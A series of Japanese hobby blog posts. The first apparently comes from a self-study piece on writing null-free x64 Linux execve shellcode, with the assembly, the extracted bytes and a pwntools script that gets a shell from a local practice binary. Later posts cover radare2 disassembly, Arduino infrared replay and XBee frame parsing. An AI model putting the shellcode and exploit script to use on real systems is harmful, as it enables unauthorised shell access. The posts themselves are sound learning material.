なので、ヌルポインタの設定で愚直にmov rax, 0みたいな命令を書くと、ヌル文字が入ってしまうのでシェルコードが最後まで実行されず、何回やっても成功しない。そのため回避策として初期化したrax(値は0x00)をスタックに積むようにしている。

/bin//shでスラッシュを連続させているのも、スラッシュ一つで文字数が7文字にしていると、8文字に相当する部分に0x00のヌル文字が混入してしまうため、スラッシュを連続することでヌル文字の混入を防いでいる。

push rax
mov rbx,0x9b888fd091969dd0
xor rbx,0xFFFFFFFFFFFFFFFF
push rbx
mov rdi, rsp

execveの第2引数argvにはポインタのポインタを設定する必要があるため、/bin//shのアドレスが格納されているrdiをスタックにプッシュし、rspのアドレスをrsiに設定するようにしている。

push rax
push rdi
xor rsi,rsi
mov rsi, rsp

execveの第3引数にはヌルポインタを設定する必要があるので、ヌル文字が混入しないようにxor0にする。

xor rdx,rdx

syscall命令を使用する。

mov al,0x3b
syscall

最終的なアセンブラコードはこのようになる。

global _start
_start:
xor rdi,rdi
xor rax,rax
push rax
mov rbx,0x9b888fd091969dd0
xor rbx,0xFFFFFFFFFFFFFFFF
push rbx
mov rdi, rsp
push rax
push rdi
xor rsi,rsi
mov rsi, rsp
xor rdx,rdx
mov al,0x3b
syscall

バイナリ作成

コンパイル、リンクして実行ファイルを生成。

nasm -f elf64 shell.asm 
ld -o shellcode.out shell.o

シェルコード抽出

最後に、作成した実行ファイルから機械語を抽出する。
※ ヌルコード(0x00)が入っていないことを確認する

(objdump -M intel -d shellcode.out | grep ' ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g')

#\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

シェルコード実行

脆弱性のある実行ファイルにシェルコードを送り込むにあたり、pwntoolsというライブラリが大変便利なため今回はこれを使う。 詳細は使い方は以下のサイトが大変わかりやすくまとまっているため参照する。

https://qiita.com/8ayac/items/12a3523394080e56ad5a

from pwn import *

context(os="linux", arch="amd64")

def main():
    shellcode="\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

    conn = process("./shellcoder")
    conn.recvuntil("Are you shellcoder?")
    conn.send(shellcode)
    conn.interactive()

if __name__ == "__main__":
    main()

脆弱性のある実行ファイルに、作成したシェルコードをぶん投げる。

root@kali-linux:~/sandbox/pwn/0_shellcoder/lab# python attack.py 
[+] Starting local process './shellcoder': pid 10639
[*] Switching to interactive mode

$ ls
a.out    buf        core   shell.asm  shell.c_bk  shellcoder
ans.py    compile.sh  shell  shell.c    shell.o      xor.py
$ pwd
/root/sandbox/pwn/0_shellcoder/lab
$ quit
[*] Process './shellcoder' stopped with exit code 0 (pid 10639)
[*] Got EOF while sending in interactive

まとめ

自分でシェルコードを作成してみるまでは、\x48\x31\xffみたいな16進数の値をみるとなんでもASCII文字に変換しようとしてみたり、これをどうみたらアセンブラコードになるんだろう?みたいな愚行を色々と重ねた時期もあったが、理解が深まった今となっては懐かしい思い出。

前よりも、バイナリコードとの距離が近づいた気がする。

その他

今回は学習の一環でシェルコードを自力作成したが、EXPLOIT-DATABASEなどにもx64のシェルコードはあるので、検証等で利用する場合はこういうのを使った方が断然スマート。
www.exploit-db.com

バイナリアン入門 第二回(x64, Linux)

はじめに

第一回ではmain関数の中で引数なしのprintfを利用しただけなので、今回は関数呼び出しと可変長引数のprintfを使用して解析してみようと思う。

解析用コードの作成

引数を5つ貰う関数の呼び出しとその結果を出力する単純なコードを用意する。
また、アセンブラコードではローカル変数がどのように扱われるのかを確認するため、add関数内では敢えてsum変数を用意してみた。

#include <stdio.h>

int add(int a, int b, int c, int d, int e) {
    int sum = 0;
    sum = a + b + c + d + e;
    return sum;
}

int main(void)
{
    printf("sum = %d\n", add(1, 2, 3, 4, 0));
    return 0;
}

実行ファイルを作成する

gcc sample.c

実行ファイルの解析

Radare2を使って、バイナリを解析する。
Radare2は以前Twitterで知ったんだけど、結構使いやすくて重宝しそうな予感満載。

使い方は、このページがとても詳しい。
radare.gitbooks.io

何ができるか調べる分にはいいんだけど、詳しすぎてあれなので、解析する上で最低限必要そうなコマンドが紹介されているこのサイトが大変参考になりました。 www.bioerrorlog.work

r2 -d a.out
Process with PID 14020 started...
= attach 14020 14020
bin.baddr 0x5564c6ff6000
Using 0x5564c6ff6000
asm.bits 64
[0x7f7b5ad84090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x7f7b5ad84090]> afl
0x5564c6ff7050    1 42           entry0
0x5564c6ff9fe0    1 4124         reloc.__libc_start_main
0x5564c6ff7080    4 41   -> 34   sym.deregister_tm_clones
0x5564c6ff70b0    4 57   -> 51   sym.register_tm_clones
0x5564c6ff70f0    5 57   -> 50   entry.fini0
0x5564c6ff7040    1 6            sym..plt.got
0x5564c6ff7130    1 5            entry.init0
0x5564c6ff7000    3 23           map.root_a.out.r_x
0x5564c6ff7210    1 1            sym.__libc_csu_fini
0x5564c6ff7135    1 58           sym.add
0x5564c6ff7214    1 9            sym._fini
0x5564c6ff71b0    4 93           sym.__libc_csu_init
0x5564c6ff716f    1 61           main
0x5564c6ff7030    1 6            sym.imp.printf
0x5564c6ff6000    3 404  -> 393  loc.imp._ITM_deregisterTMCloneTable
0x5564c6ff61aa    5 32   -> 55   fcn.5564c6ff61aa

[0x7f7b5ad84090]> s main
[0x5564c6ff716f]> pdf
/ (fcn) main 61
|   int main (int argc, char **argv, char **envp);
|           ; DATA XREF from entry0 @ 0x5564c6ff706d
|           0x5564c6ff716f      55             push rbp
|           0x5564c6ff7170      4889e5         mov rbp, rsp
|           0x5564c6ff7173      41b800000000   mov r8d, 0
|           0x5564c6ff7179      b904000000     mov ecx, 4
|           0x5564c6ff717e      ba03000000     mov edx, 3
|           0x5564c6ff7183      be02000000     mov esi, 2
|           0x5564c6ff7188      bf01000000     mov edi, 1
|           0x5564c6ff718d      e8a3ffffff     call sym.add
|           0x5564c6ff7192      89c6           mov esi, eax
|           0x5564c6ff7194      488d3d690e00.  lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n"
|           0x5564c6ff719b      b800000000     mov eax, 0
|           0x5564c6ff71a0      e88bfeffff     call sym.imp.printf     ; int printf(const char *format)
|           0x5564c6ff71a5      b800000000     mov eax, 0
|           0x5564c6ff71aa      5d             pop rbp
\           0x5564c6ff71ab      c3             ret

[0x5564c6ff716f]> s sym.add
[0x5564c6ff7135]> pdf
/ (fcn) sym.add 58
|   sym.add (int32_t arg1, int32_t arg2, int32_t arg5, int32_t arg3, int32_t arg4);
|           ; var int32_t var_24h @ rbp-0x24
|           ; var int32_t var_20h @ rbp-0x20
|           ; var int32_t var_1ch @ rbp-0x1c
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_14h @ rbp-0x14
|           ; var int32_t var_4h @ rbp-0x4
|           ; arg int32_t arg1 @ rdi
|           ; arg int32_t arg2 @ rsi
|           ; arg int32_t arg5 @ r8
|           ; arg int32_t arg3 @ rdx
|           ; arg int32_t arg4 @ rcx
|           ; CALL XREF from main @ 0x5564c6ff718d
|           0x5564c6ff7135      55             push rbp
|           0x5564c6ff7136      4889e5         mov rbp, rsp
|           0x5564c6ff7139      897dec         mov dword [var_14h], edi ; arg1
|           0x5564c6ff713c      8975e8         mov dword [var_18h], esi ; arg2
|           0x5564c6ff713f      8955e4         mov dword [var_1ch], edx ; arg3
|           0x5564c6ff7142      894de0         mov dword [var_20h], ecx ; arg4
|           0x5564c6ff7145      448945dc       mov dword [var_24h], r8d ; arg5
|           0x5564c6ff7149      c745fc000000.  mov dword [var_4h], 0
|           0x5564c6ff7150      8b55ec         mov edx, dword [var_14h]
|           0x5564c6ff7153      8b45e8         mov eax, dword [var_18h]
|           0x5564c6ff7156      01c2           add edx, eax
|           0x5564c6ff7158      8b45e4         mov eax, dword [var_1ch]
|           0x5564c6ff715b      01c2           add edx, eax
|           0x5564c6ff715d      8b45e0         mov eax, dword [var_20h]
|           0x5564c6ff7160      01c2           add edx, eax
|           0x5564c6ff7162      8b45dc         mov eax, dword [var_24h]
|           0x5564c6ff7165      01d0           add eax, edx
|           0x5564c6ff7167      8945fc         mov dword [var_4h], eax
|           0x5564c6ff716a      8b45fc         mov eax, dword [var_4h]
|           0x5564c6ff716d      5d             pop rbp
\           0x5564c6ff716e      c3             ret

main関数の解析

main関数から読んでみる。

push rbp
mov rbp, rsp
mov r8d, 0
mov ecx, 4
mov edx, 3
mov esi, 2
mov edi, 1
call sym.add
mov esi, eax
lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n"
mov eax, 0
call sym.imp.printf     ; int printf(const char *format)
mov eax, 0
pop rbp
ret

Function prologue

関数呼び出しをする際のお決まり(Function prologue)

push   rbp
mov    rbp,rsp

add関数への引数設定

add関数に渡すための値をレジスタに設定している。

引数の渡し方はx86-64のABIに準拠している。 どのABIか調べるにはIntelのサイトで「linux 64」などのキーワードで検索すると、該当するPDFが見つかると思う。
関数呼び出しに関する決まりごとは23ページのFigure 3.4: Register Usageに記載がある。

%rdi used to pass 1st argument to functions
%rsi used to pass 2nd argument to functions
%rdx used to pass 3rd argument to functions; 2nd return
%rcx used to pass 4th integer argument to functions
%r8 used to pass 5th argument to functions
%r9 used to pass 6th argument to functions

mov r8d, 0
mov ecx, 4
mov edx, 3
mov esi, 2
mov edi, 1

add関数呼び出し

call sym.add

printfへの引数設定

printf関数に渡すための値をレジスタに設定している。

第一引数のrdiにはフォーマットとなる文字列のアドレスを設定し、第二引数のesiにはsum = %d\nの一つ目の%dに表示するための合計値を格納している(戻り値はeaxに格納される)

mov eax, 0命令は、今まで見てきた引数渡しのパターンに当てはまらないため調べてみると、printfの引数がベクトルレジスタ浮動小数点)を必要とする場合、その数を設定する必要があるらしい。今回は整数型なので0を設定している。

ここに関しては、PDFの55ページ3.5.7 Variable Argument Listsで説明されている。

When a function taking variable-arguments is called, %rax must be set to the total number of floating point parameters passed to the function in vector registers.

mov esi, eax
lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n"
mov eax, 0
call sym.imp.printf         ; int printf(const char *format)

main()終了

main関数の戻り値としてeaxに0を設定し、スタックに積んでいたベースポインタの値をrbpにポップ(Function epilogue)してきたらretでmain関数を終了する。

mov eax, 0
pop rbp
ret   

add関数の解析

次にadd関数内の処理を読んでみる。

push rbp
mov rbp, rsp
mov dword [var_14h], edi ; arg1
mov dword [var_18h], esi ; arg2
mov dword [var_1ch], edx ; arg3
mov dword [var_20h], ecx ; arg4
mov dword [var_24h], r8d ; arg5
mov dword [var_4h], 0
mov edx, dword [var_14h]
mov eax, dword [var_18h]
add edx, eax
mov eax, dword [var_1ch]
add edx, eax
mov eax, dword [var_20h]
add edx, eax
mov eax, dword [var_24h]
add eax, edx
mov dword [var_4h], eax
mov eax, dword [var_4h]
pop rbp
ret

関数呼び出しをする際のお決まり(Function prologue)

push rbp
mov rbp, rsp

コールスタックに引数を格納

渡された引数をコールスタックに格納している。

なぜ[rbp-0x14]という中途半端な場所からスタートしているのか調べてみると、「アライメント境界」というのが関係しているらしいが、よくわからなかったのでそのまま進める。

mov dword [var_14h], edi ; arg1
mov dword [var_18h], esi ; arg2
mov dword [var_1ch], edx ; arg3
mov dword [var_20h], ecx ; arg4
mov dword [var_24h], r8d ; arg5

sum変数初期化

変数領域sum0で初期化する。

mov dword [var_4h], 0

引数の合計値を求める

渡された引数1から引数5までの値を足している。

mov edx, dword [var_14h]
mov eax, dword [var_18h]
add edx, eax
mov eax, dword [var_1ch]
add edx, eax
mov eax, dword [var_20h]
add edx, eax
mov eax, dword [var_24h]
add eax, edx

sum変数に結果を格納

足し算の結果を変数sumに当たるアドレス[rbp-0x4]に格納し、戻り値としてeaxレジスタに値を格納する。

mov dword [var_4h], eax
mov eax, dword [var_4h]

add関数終了

add関数の戻り値としてeaxに0を設定し、スタックに積んでいたベースポインタの値をrbpにポップ(Function epilogue)してきたらretでmain関数に戻る。

pop rbp
ret 

まとめ

雑にサクサクと読んでいったけど、関数呼び出しを含めた基礎の基礎の部分をふんわりと触れた。

Arduinoで赤外線通信をする

記事一覧

はじめに

前回、XBeeによる無線通信の確認で室温を送受信することができたので、今度はエアコンを操作するために赤外線通信を試してみる。

準備

以下の部品を千石電気で揃える

リモコンの信号を解析する

IRRemoteという、赤外線通信を行うための素敵なライブラリが存在しているので、それを使ってサクッと解析しようと思っていたのだが、エアコンのリモコンが送信する信号量が多すぎてそのままだと解析できない問題に遭遇。 巷ではIRremoteInt.hの以下の数値をMax(255)にすれば5割の確率で解析できるという情報が流れていたが、残念ながらそれでも足りなかった。

#define RAWBUF  101  // Maximum length of raw duration buffer

色々と物色していると、これまた素敵なサイトと遭遇した。

hawksnowlog: Arduino で赤外線信号を学習してエアコンを制御してみた

ここで紹介されているスケッチを使わせてもらい、無事リモコンの通信を解析できた。

f:id:kyonta1022:20191024001118p:plain

エアコンに信号を送る

解析した値を使って、エアコンに対して信号を送る。

IRRemoteインストール

以下の手順で、ArduinoIDEからIRremoteをインストールする

スケッチ > ライブラリをインクルード > ライブラリを管理 > IRremote > インストール

信号を送信する

次に、赤外線を送信するスケッチ例を開く

ファイル > スケッチ例 > IRremote > IRsendRawDemo

最後にirSignalの中身を解析した値で置き換えて、Arduinoに書き込む

/*
 * IRremote: IRsendRawDemo - demonstrates sending IR codes with sendRaw
 * An IR LED must be connected to Arduino PWM pin 3.
 */

#include <IRremote.h>

IRsend irsend;

void setup()
{

}

void loop() {
  int khz = 38;
  unsigned int irSignal[591] = {3480, 1676, 516, 1204, 464, 1252, 464, 396, 520, 336, 524, 340, 516, 1200, 516, 344, 516, 344, 524, 1192, 524, 1196, 520, 336, 520, 1200, 528, 332, 524, 332, 528, 1192, 520, 1200, 520, 340, 516, 1200, 524, 1192, 524, 336, 524, 336, 520, 1200, 516, 340, 520, 340, 516, 1204, 520, 336, 524, 336, 520, 340, 520, 340, 468, 392, 464, 396, 460, 396, 464, 396, 472, 388, 468, 392, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 472, 384, 472, 388, 472, 388, 468, 392, 468, 388, 468, 1252, 516, 344, 524, 332, 524, 336, 472, 388, 468, 392, 468, 1248, 520, 1200, 512, 344, 524, 336, 472, 388, 472, 388, 468, 1248, 520, 340, 516, 1204, 524, 332, 524, 336, 472, 388, 468, 392, 468, 392, 464, 1252, 516, 1200, 524, 336, 524, 1196, 520, 1196, 520, 340, 516, 344, 464, 396, 472, 388, 468, 392, 468, 1248, 468, 392, 464, 392, 468, 1252, 464, 396, 472, 388, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 460, 400, 468, 388, 472, 392, 464, 392, 468, 392, 464, 392, 468, 392, 464, 396, 464, 396, 460, 400, 468, 388, 472, 388, 472, 388, 468, 392, 464, 392, 464, 396, 464, 396, 460, 400, 468, 392, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 460, 396, 464, 396, 472, 388, 468, 388, 472, 392, 464, 392, 468, 392, 464, 396, 464, 392, 464, 400, 456, 400, 468, 392, 468, 388, 468, 396, 464, 392, 464, 396, 464, 396, 460, 400, 468, 388, 472, 388, 468, 392, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 460, 1256, 472, 384, 472, 1248, 468, 392, 464, 1256, 460, 396, 464, 1256, 468, 1248, 468, 13276, 3504, 1656, 468, 1248, 464, 1252, 464, 396, 496, 364, 504, 356, 500, 1216, 500, 360, 496, 364, 496, 1220, 496, 1224, 492, 368, 500, 1216, 500, 360, 496, 364, 496, 1224, 492, 1224, 500, 360, 500, 1216, 496, 1224, 492, 364, 496, 364, 492, 1228, 500, 360, 496, 364, 496, 1220, 496, 364, 492, 368, 492, 364, 504, 356, 500, 360, 496, 364, 496, 364, 492, 368, 492, 368, 488, 368, 500, 360, 500, 360, 496, 360, 500, 360, 496, 364, 496, 364, 492, 364, 496, 364, 492, 368, 500, 360, 500, 1216, 496, 364, 496, 364, 492, 368, 492, 368, 488, 368, 492, 1224, 500, 1220, 496, 364, 496, 364, 492, 368, 492, 364, 492, 1228, 500, 356, 500, 1220, 496, 364, 492, 364, 496, 368, 488, 368, 500, 360, 500, 1216, 500, 1220, 496, 364, 492, 1224, 504, 1216, 496, 364, 496, 360, 500, 360, 496, 364, 492, 368, 492, 1224, 500, 360, 500, 360, 496, 1220, 496, 364, 496, 364, 504, 356, 500, 360, 496, 364, 496, 364, 492, 364, 496, 364, 492, 368, 492, 364, 492, 368, 500, 360, 500, 360, 496, 364, 496, 360, 496, 364, 496, 364, 492, 368, 488, 368, 500, 360, 500, 360, 500, 360, 496, 360, 496, 364, 496, 364, 492, 368, 500, 360, 488, 368, 500, 360, 500, 360, 496, 364, 496, 364, 492, 364, 496, 364, 492, 368, 492, 368, 500, 356, 500, 360, 496, 364, 496, 364, 492, 368, 492, 364, 492, 368, 492, 368, 500, 360, 496, 360, 500, 360, 496, 364, 496, 364, 492, 368, 492, 364, 492, 368, 492, 368, 500, 360, 496, 364, 492, 368, 492, 364, 492, 1224, 492, 368, 492, 1224, 500, 360, 500, 1220, 496, 364, 492, 1224, 500, 1220, 500};
  irsend.sendRaw(irSignal, sizeof(irSignal) / sizeof(irSignal[0]), khz);
  delay(4000); 
}

f:id:kyonta1022:20191024001141p:plain

Tips

赤外線が出ているかどうかを確認する時は、スマフォのカメラで赤外線LEDを見てみると出力が確認できる

XBeeのフレームをArduinoで表示する

はじめに

前回はXBee同士でのAPIモードを使った温度受信を試してみたので、今回はコーディネータが受信した値をArduinoからシリアルモニタに出力してみる。

kyonta1022.hatenablog.com

XBee親機(コーディネータ)の設定

コーディネータと接続するArduinoへのスケッチ書込みと、XBeeと接続する。

Arduinoへスケッチ書込み

コーディネータが受信したフレームをコンソールに出力するようにする。
XBeeとの送受信はシリアルポート経由で行う。

- ツール > シリアルポート > Arduino /Genuino Uno
- マイコンボードに書き込む

Arduinoへ書き込む時にシリアルポートがXBeeと繋がった状態だとエラーが起きるので、書き込む時だけは配線しないようにする。

gist.github.com

回路図

こんな感じで、電源供給はArduinoから行い、シリアルポートを繋ぐだけ。 f:id:kyonta1022:20191019002821p:plain

XBee子機(ルータ)の設定

前回の設定と回路のままで子機を動かす。

実行

ArduinoIDEのシリアルモニタを開くと、子機から受信したフレームが表示されているのを確認できる。

Receive data from xbee [ 7e 0 12 92 0 13 a2 0 41 7d 50 31 24 a4 1 1 0 0 2 2 c ]
delimiter            :7e
len_msb              :0
len_lsb              :12
type                 :92
address_64           :013a20417d5031
address_16           :24a4
receive_options      :1
number_of_samples    :1
digital_channel_mask :00
analog_channel_mask  :2
rf_data              :2c

完成

f:id:kyonta1022:20191019003612j:plain